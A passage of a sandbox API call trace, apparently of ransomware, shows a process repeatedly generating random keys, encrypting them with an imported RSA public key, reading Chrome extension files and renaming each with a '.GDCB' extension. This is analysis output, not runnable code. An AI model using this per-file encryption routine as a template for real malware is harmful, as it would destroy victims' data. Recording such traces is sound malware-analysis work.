phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.164] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.167] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.167] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.167] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.167] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0288.170] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9130) returned 1 [0288.170] CryptGetKeyParam (in: hKey=0x67a9130, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.170] CryptEncrypt (in: hKey=0x67a9130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.170] GetLastError () returned 0x0 [0288.170] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.170] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0288.172] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a98b0) returned 1 [0288.173] CryptGetKeyParam (in: hKey=0x67a98b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.173] CryptEncrypt (in: hKey=0x67a98b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.173] GetLastError () returned 0x0 [0288.173] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.173] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.174] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.178] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.181] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0xa6, lpOverlapped=0x0) returned 1 [0288.189] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.197] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.gdcb")) returned 1 [0288.200] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.203] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.206] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.206] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.206] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.206] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0288.209] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.211] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.211] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.211] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.211] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.214] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9170) returned 1 [0288.214] CryptGetKeyParam (in: hKey=0x67a9170, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.214] CryptEncrypt (in: hKey=0x67a9170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.215] GetLastError () returned 0x0 [0288.215] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.215] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0288.216] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9230) returned 1 [0288.216] CryptGetKeyParam (in: hKey=0x67a9230, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.216] CryptEncrypt (in: hKey=0x67a9230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.217] GetLastError () returned 0x0 [0288.217] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.217] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.218] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.221] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.223] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0xa0, lpOverlapped=0x0) returned 1 [0288.231] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.239] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.gdcb")) returned 1 [0288.297] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0288.301] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.305] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.305] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.305] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.305] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.308] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.311] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.312] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.312] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.312] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.316] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a92b0) returned 1 [0288.316] CryptGetKeyParam (in: hKey=0x67a92b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.316] CryptEncrypt (in: hKey=0x67a92b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.316] GetLastError () returned 0x0 [0288.316] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.316] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0288.318] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a94b0) returned 1 [0288.318] CryptGetKeyParam (in: hKey=0x67a94b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.318] CryptEncrypt (in: hKey=0x67a94b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.318] GetLastError () returned 0x0 [0288.318] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.318] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.319] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.323] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.326] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0x3010, lpOverlapped=0x0) returned 1 [0288.334] VirtualAlloc (lpAddress=0x0, dwSize=0x3010, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.341] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.gdcb")) returned 1 [0288.404] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0288.408] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.410] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.410] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.410] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.410] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.413] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.415] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.415] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.415] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.416] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.418] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a94f0) returned 1 [0288.418] CryptGetKeyParam (in: hKey=0x67a94f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.418] CryptEncrypt (in: hKey=0x67a94f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.418] GetLastError () returned 0x0 [0288.418] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.418] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0288.420] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9670) returned 1 [0288.420] CryptGetKeyParam (in: hKey=0x67a9670, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.420] CryptEncrypt (in: hKey=0x67a9670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.421] GetLastError () returned 0x0 [0288.421] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.421] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.422] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.425] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.427] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0xf2, lpOverlapped=0x0) returned 1 [0288.436] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.442] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.gdcb")) returned 1 [0288.445] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.448] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.450] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.450] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.450] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.450] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.453] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.455] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.455] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.455] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.455] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0288.459] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9530) returned 1 [0288.459] CryptGetKeyParam (in: hKey=0x67a9530, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.459] CryptEncrypt (in: hKey=0x67a9530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.459] GetLastError () returned 0x0 [0288.459] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.459] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.461] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9730) returned 1 [0288.461] CryptGetKeyParam (in: hKey=0x67a9730, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.461] CryptEncrypt (in: hKey=0x67a9730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.461] GetLastError () returned 0x0 [0288.461] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.461] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.462] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.465] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.468] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0x1bef, lpOverlapped=0x0) returned 1 [0288.488] VirtualAlloc (lpAddress=0x0, dwSize=0x1bf0, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.494] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.gdcb")) returned 1 [0288.499] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.502] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.506] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.506] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.506] CryptReleaseContext (hProv=0x5c4760, 